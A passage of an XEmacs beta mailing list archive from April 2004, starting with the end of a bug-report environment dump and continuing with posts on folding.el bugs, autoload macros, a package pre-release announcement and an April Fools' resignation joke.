/usr/share/xemacs/site-packages/lisp/mew/mew-env /usr/share/xemacs/xemacs-packages/lisp/mew/mew-env /usr/share/xemacs/site-packages/lisp/mew/mew-encode /usr/share/xemacs/xemacs-packages/lisp/mew/mew-encode /usr/share/xemacs/site-packages/lisp/mew/mew-draft /usr/share/xemacs/xemacs-packages/lisp/mew/mew-draft /usr/share/xemacs/site-packages/lisp/mew/mew-demo /usr/share/xemacs/xemacs-packages/lisp/mew/mew-demo /usr/share/xemacs/site-packages/lisp/mew/mew-decode /usr/share/xemacs/xemacs-packages/lisp/mew/mew-decode /usr/share/xemacs/site-packages/lisp/mew/mew-complete /usr/share/xemacs/xemacs-packages/lisp/mew/mew-complete /usr/share/xemacs/site-packages/lisp/mew/mew-cache /usr/share/xemacs/xemacs-packages/lisp/mew/mew-cache /usr/share/xemacs/site-packages/lisp/mew/mew-bq /usr/share/xemacs/xemacs-packages/lisp/mew/mew-bq /usr/share/xemacs/site-packages/lisp/mew/mew-attach /usr/share/xemacs/xemacs-packages/lisp/mew/mew-attach /usr/share/xemacs/site-packages/lisp/mew/mew-addrbook /usr/share/xemacs/xemacs-packages/lisp/mew/mew-addrbook /usr/share/xemacs/xemacs-packages/lisp/flim/sasl /usr/share/xemacs/xemacs-packages/lisp/sasl/sasl /usr/share/xemacs/xemacs-packages/lisp/flim/sasl-scram /usr/share/xemacs/xemacs-packages/lisp/sasl/sasl-scram /usr/share/xemacs/xemacs-packages/lisp/flim/sasl-ntlm /usr/share/xemacs/xemacs-packages/lisp/sasl/sasl-ntlm /usr/share/xemacs/xemacs-packages/lisp/flim/sasl-digest /usr/share/xemacs/xemacs-packages/lisp/sasl/sasl-digest /usr/share/xemacs/xemacs-packages/lisp/flim/sasl-cram /usr/share/xemacs/xemacs-packages/lisp/sasl/sasl-cram /usr/share/xemacs/xemacs-packages/lisp/flim/ntlm /usr/share/xemacs/xemacs-packages/lisp/sasl/ntlm /usr/share/xemacs/xemacs-packages/lisp/flim/hmac-sha1 /usr/share/xemacs/xemacs-packages/lisp/sasl/hmac-sha1 /usr/share/xemacs/xemacs-packages/lisp/flim/hmac-md5 /usr/share/xemacs/xemacs-packages/lisp/sasl/hmac-md5 /usr/share/xemacs/xemacs-packages/lisp/flim/hmac-def /usr/share/xemacs/xemacs-packages/lisp/sasl/hmac-def /usr/share/xemacs/xemacs-packages/lisp/gnus/smime /usr/share/xemacs/xemacs-packages/lisp/semi/smime /usr/share/xemacs/xemacs-packages/lisp/pgg/pgg /usr/share/xemacs/xemacs-packages/lisp/semi/pgg /usr/share/xemacs/xemacs-packages/lisp/pgg/pgg-pgp5 /usr/share/xemacs/xemacs-packages/lisp/semi/pgg-pgp5 /usr/share/xemacs/xemacs-packages/lisp/pgg/pgg-pgp /usr/share/xemacs/xemacs-packages/lisp/semi/pgg-pgp /usr/share/xemacs/xemacs-packages/lisp/pgg/pgg-parse /usr/share/xemacs/xemacs-packages/lisp/semi/pgg-parse /usr/share/xemacs/xemacs-packages/lisp/pgg/pgg-gpg /usr/share/xemacs/xemacs-packages/lisp/semi/pgg-gpg /usr/share/xemacs/xemacs-packages/lisp/pgg/pgg-def /usr/share/xemacs/xemacs-packages/lisp/semi/pgg-def /usr/share/xemacs/xemacs-packages/lisp/semi/signature /usr/share/xemacs/xemacs-packages/lisp/tm/signature /usr/share/xemacs/xemacs-packages/lisp/semi/mime-setup /usr/share/xemacs/xemacs-packages/lisp/tm/mime-setup /usr/share/xemacs/xemacs-packages/lisp/flim/mel /usr/share/xemacs/xemacs-packages/lisp/tm/mel /usr/share/xemacs/xemacs-packages/lisp/flim/mel-u /usr/share/xemacs/xemacs-packages/lisp/tm/mel-u /usr/share/xemacs/xemacs-packages/lisp/flim/mel-q /usr/share/xemacs/xemacs-packages/lisp/tm/mel-q /usr/share/xemacs/xemacs-packages/lisp/flim/mel-g /usr/share/xemacs/xemacs-packages/lisp/tm/mel-g /usr/share/xemacs/xemacs-packages/lisp/gnus/utf7 /usr/share/xemacs/xemacs-packages/lisp/wl/utf7 /usr/share/xemacs/xemacs-packages/lisp/build/build-report /usr/share/xemacs-21.4.12/lisp/build-report) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (w3 ver: 1.29 upstream: 4.0pre47) (vm ver: 7.18 upstream: 7.17) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (oo-browser ver: 1.04 upstream: 4.08) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (jde ver: 1.46 upstream: regular) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hyperbole ver: 1.15 upstream: 4.18) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) (mule-ucs ver: 1.05 upstream: 0.84) (mule-base ver: 1.46 upstream: No-Upstream-Ver) (lookup ver: 1.14 upstream: 1.0) (locale ver: 1.21 upstream: No-Upstream-Ver) (leim ver: 1.22 upstream: No-Upstream-Ver) (latin-unity ver: 1.09 upstream: 1.09) (egg-its ver: 1.27 upstream: No-Upstream-Ver) (edict ver: 1.16 upstream: 0.9.9) Installed Modules: ----------------- Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 view-less view efs-cu gnuserv un-define mule-uni zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads wl-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semi-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads flim-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads mule-ucs-autoloads mule-base-autoloads lookup-autoloads locale-autoloads leim-autoloads latin-unity-autoloads egg-its-autoloads edict-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 canna-leim slovenian czech romanian ccl mule-help code-cmds gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp postgresqlv7 postgresql CANNA file-coding wnn mule lucid-scrollbars cut-buffer lucid-menubars motif-dialogs x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar berkeley-db md5 xemacs xim gutter tiff png gif jpeg xpm xbm lisp-float-type linux dialog devices window-system base64) Recent keystrokes: ----------------- M-x g n u s e r v - s t a r t RET C-x # M-? l C-x o M-x r e p o r t TAB TAB e m TAB BS BS M-h M-h C-k r e p TAB o TAB r TAB x e TAB RET Recent messages (most recent first): ----------------------------------- Loading xemacsbug...done Loading xemacsbug... Making completion list... Making completion list... Making completion list... Loading view-less...done Loading view-less... Type `C-x #' to finish editing (New file) Loading efs-cu...done Loading efs-cu... Loading gnuserv...done Loading gnuserv... Loading /usr/share/xemacs/site-packages/lisp/site-start.d/psgml-init.el...done Loading /usr/share/xemacs/site-packages/lisp/site-start.d/psgml-init.el... Loading /usr/share/xemacs/site-packages/lisp/site-start.d/mew-init.el...done Loading /usr/share/xemacs/site-packages/lisp/site-start.d/mew-init.el... From xemacs-beta-admin@xemacs.org Thu Apr 1 04:14:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i319E1s23153; Thu, 1 Apr 2004 04:14:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i319Dos23114 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 04:13:50 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i319Dm423100 for turnbull@tux.org; Thu, 1 Apr 2004 04:13:48 -0500 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i319Dls23088 for ; Thu, 1 Apr 2004 04:13:47 -0500 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1B8yGa-0007rh-00; Thu, 01 Apr 2004 18:13:40 +0900 To: Jari Aalto Cc: Subject: Re: folding.el -- Please forward bug messages ASAP (I'm back) References: <7jx0iob7.fsf@blue.sea.net> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 01 Apr 2004 18:13:40 +0900 In-Reply-To: <7jx0iob7.fsf@blue.sea.net> (Jari Aalto's message of "Thu, 01 Apr 2004 01:34:04 +0200") Message-ID: <87d66s3vsr.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jari" == Jari Aalto writes: Hey, good to see your by-line again! Jari> Where there was several bugs mentioned in folding. Could Jari> someone at give me a briefing and point me to the right Jari> directions what bugs possibly are waiting for me to get my Jari> hands in the mud. I don't see anything in the last 6 months. This query http://list-archive.xemacs.org/cgi-bin/wilma_glimpse/xemacs-beta?query=folding.el&Search=Search&restricttofiles=on&filelist=200306&filelist=200305&filelist=200304&filelist=200303&errors=0&maxfiles=50&maxlines=10&.cgifields=lineonly&.cgifields=restricttofiles&.cgifields=filelist&.cgifields=partial&.cgifields=case picks up all the discussion I've seen since a year ago---note it's all pretty old, going back to spring/summer 2003. You might also want to check the xemacs-patches list, searchable at http://list-archive.xemacs.org/xemacs-patches/ Note that due to limitations of our search engine, you need to restrict searches to 4 months at a time. It looks like people are not actually describing the bugs, just trying to find you. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 1 04:48:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i319m2s31203; Thu, 1 Apr 2004 04:48:03 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i319kbr30883 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 04:46:37 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i319kac30871 for turnbull@tux.org; Thu, 1 Apr 2004 04:46:36 -0500 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i319kZs30857 for ; Thu, 1 Apr 2004 04:46:35 -0500 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B8ymQ-00013m-00 for ; Thu, 01 Apr 2004 11:46:34 +0200 Received: from a110t7.elisa.omakaista.fi ([81.197.3.110]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 01 Apr 2004 11:46:34 +0200 Received: from jari.aalto by a110t7.elisa.omakaista.fi with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 01 Apr 2004 11:46:34 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Jari Aalto Subject: Re: autoload.el suggestion Date: Thu, 01 Apr 2004 11:58:50 +0200 Organization: Private Lines: 48 Message-ID: References: <82d6712ynk.fsf@us.dmz.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org Cc: zevlg@yandex.ru X-Gmane-NNTP-Posting-Host: a110t7.elisa.omakaista.fi User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (windows-nt) (i386-msvc-nt5.0.2195) Cancel-Lock: sha1:rioLPCsFi88KvSGODdIwjT8bXe0= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , * Thu 2004-03-25 Zajcev Evgeny yandex.ru> gmane.emacs.xemacs.beta | Hello XEmacs developers! | | Recently i was faced to problem that autoload generation is a little | stricted. For example if i have Emacs lisp macro which actually | produces proper defun, there is no way to make it autoloadable, or it | is possible but with huge overhead. Here is example: | | (defmacro define-test-command funame args docstr inter &rest forms | `(defun ,funame ,args | ,docstr | ,inter | (let ((testvar1 ...) | (testvar2 ..)) | ; Here is some test command specific processing | ) | (progn ,@body))) | | This macro used to simplify some test commands definition, in such | commands some test specific operations performed, so it is pretty | handy to have such `define-test-command' macro, so test commands | definitions looks like: | | (define-test-command test-command (args) | "Docstring." | (interactive ..) | forms) | | But when marking such form with ";;;###autoload" does not ignores | arguments as it done for `defun' and others. You could do it like this: Not quite automatic, but works. ;;;###autoload (autoload 'test-command "test" "" t) (define-test-command test-command (args) "Docstring." (interactive ..) forms) Jari -- http://tiny-tools.sourceforge.net/ Swatch @time http://www.mir.com.my/iTime/itime.htm http://www.ryanthiessen.com/swatch/resources.htm Use Licenses! http://www.linuxjournal.com/article.php?sid=6225 Which Licence? http://www.linuxjournal.com/article.php?sid=4825 OSI Licences http://www.opensource.org/licenses/ From xemacs-beta-admin@xemacs.org Thu Apr 1 05:05:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31A51s03092; Thu, 1 Apr 2004 05:05:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31A4L102931 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 05:04:21 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31A4Kd02917 for turnbull@tux.org; Thu, 1 Apr 2004 05:04:20 -0500 Received: from mail.LF.net (mail.LF.net [212.9.160.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31A4Is02903 for ; Thu, 1 Apr 2004 05:04:18 -0500 Received: from pd95e6611.dip.t-dialin.net ([217.94.102.17] helo=redqueen.ath.cx) by mail.LF.net with esmtp (Exim 4.22) id 1B8z3Y-0004mL-2K for xemacs-beta@xemacs.org; Thu, 01 Apr 2004 12:04:16 +0200 Received: from nk by redqueen.ath.cx with local (Exim 4.22) id 1B8z3X-000OB1-LE for xemacs-beta@xemacs.org; Thu, 01 Apr 2004 12:04:15 +0200 To: xemacs-beta@xemacs.org Subject: XEmacs Packages have been pre-released (2004-04-01-11) From: Norbert Koch X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org Date: Thu, 01 Apr 2004 12:04:15 +0200 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey there everyone. I have just added the following packages to the 'Pre-Releases' directory: New Packages in Pre-Release: =========================== net-utils-1.42-pkg.tar.gz upstream version: N/A text-modes-1.74-pkg.tar.gz upstream version: none Previously Announced Packages Still in Pre-Release: ================================================== c-support-1.20-pkg.tar.gz upstream version: none ecb-1.17-pkg.tar.gz upstream version: 2.21 ecrypto-0.17-pkg.tar.gz upstream version: 2.0 ediff-1.50-pkg.tar.gz upstream version: 2.75 erc-0.08-pkg.tar.gz upstream version: Version 4.0 Revision: 1.640 escreen-1.01-pkg.tar.gz upstream version: 1.16 fortran-modes-1.04-pkg.tar.gz upstream version: none hyperbole-1.15-pkg.tar.gz upstream version: 4.18 mmm-mode-1.02-pkg.tar.gz upstream version: 0.4.7 prog-modes-1.96-pkg.tar.gz upstream version: none ps-print-1.10-pkg.tar.gz upstream version: 6.5.6 python-modes-1.05-pkg.tar.gz upstream version: none reftex-1.34-pkg.tar.gz upstream version: 4.21 vhdl-1.19-pkg.tar.gz upstream version: 3.32.20 x-symbol-1.10-pkg.tar.gz upstream version: 4.5.1 xemacs-base-1.86-pkg.tar.gz upstream version: none xemacs-devel-1.62-pkg.tar.gz upstream version: none xlib-1.08-pkg.tar.gz upstream version: 0.1 xwem-1.08-pkg.tar.gz upstream version: 0.1 Detailed Changes: ================ - ------- ChangeLog Entries from xemacs-packages/net-utils/ChangeLog ------- 2004-04-01 Norbert Koch * Makefile (VERSION): XEmacs package 1.42 released. 2004-04-01 Steve Youngs * mozmail.el: Remove an autoload. - ------- ChangeLog Entries from xemacs-packages/text-modes/ChangeLog ------- 2004-04-01 Norbert Koch * Makefile (VERSION): XEmacs package 1.74 released. Installing These: ================ Manually: - -------- 1) Download the packages that you want to install from: /ftp.xemacs.org:/pub/xemacs/beta/experimental/packages/ 2) Unpack them to: [1] /usr/local/lib/xemacs/xemacs-packages/ 3) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.[245].x): - ---------------------------------------------- 1) Tools -> Packages -> Add Download Site -> Pre-Releases 2) Tools -> Packages -> List and Install 3) Select the packages you wish to install (there are brief instructions at the bottom of the packages buffer). 4) Packages -> Install/Remove Selected 5) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.1.14): - ------------------------------------------- 1) Options -> Manage Packages -> Add Download Site -> Pre-Releases 2) Options -> Manage Packages -> List and Install 3 - 5) As per XEmacs 21.[245].x. norbert - XEmacs Package Release Manager. Footnotes: [1] Note: Mule packages should be installed into: /usr/local/lib/xemacs/mule-packages/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQFAa+kfgu3ywdHdhM0RAiYcAJ0Qtfl9mV0U6lA9j8UGmbxMksrVgwCfX6zZ rn17tp6uUiF/3EgNddkIVuk= =xqsL -----END PGP SIGNATURE----- From xemacs-beta-admin@xemacs.org Thu Apr 1 11:54:56 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31Gq2s14791; Thu, 1 Apr 2004 11:52:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31GoZW14510 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 11:50:35 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31GoYr14501 for turnbull@tux.org; Thu, 1 Apr 2004 11:50:34 -0500 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31GoYs14497 for ; Thu, 1 Apr 2004 11:50:34 -0500 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i31GoODu016761 for ; Thu, 1 Apr 2004 10:50:24 -0600 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i31GoOHS004166; Thu, 1 Apr 2004 10:50:24 -0600 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i31GoNcq004164; Thu, 1 Apr 2004 10:50:23 -0600 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: Resignation From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 01 Apr 2004 10:50:23 -0600 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (celeriac, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , With regret, I must offer my resignation from the XEmacs Review Board, and indeed from XEmacs development altogether. I have decided to leave academia, and have been interviewing at various places. I decided to accept a position with Microsoft Research. I will be starting there in early June. I will be working on embedding a Visual Basic interpreter into Microsoft Word in order to give it emacs-like extension capabilities. In another few years, all emacs-like editors should be completely obsolete. In fact, you all might want to consider joining me in making Microsoft Word the next-generation editor. If you choose otherwise, I still wish you well and good fortune in your work on XEmacs. Sincerely (in fact, I've never been so sincere in my entire life), -- Jerry James, who notes that some people may not understand the connection between this message and the date From xemacs-beta-admin@xemacs.org Thu Apr 1 14:05:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31J51s16215; Thu, 1 Apr 2004 14:05:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31J4Ro16103 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 14:04:27 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i31J4QG16090 for turnbull@tux.org; Thu, 1 Apr 2004 14:04:26 -0500 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31J4Os16074; Thu, 1 Apr 2004 14:04:24 -0500 Received: from sfwd01.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1B97UD-0006L0-01; Thu, 01 Apr 2004 21:04:21 +0200 Received: from D5DC120J.t-online.de (E4KCU+ZCwewfInzdCo3TomrOYTe2x6iZ0eA-UJaiSay5rNgFamG68T@[217.229.10.234]) by afwd01.sul.t-online.com with esmtp id 1B97UC-1DvQFE0; Thu, 1 Apr 2004 21:04:20 +0200 To: xemacs-beta@xemacs.org Subject: Re: undefined macro X-Face: 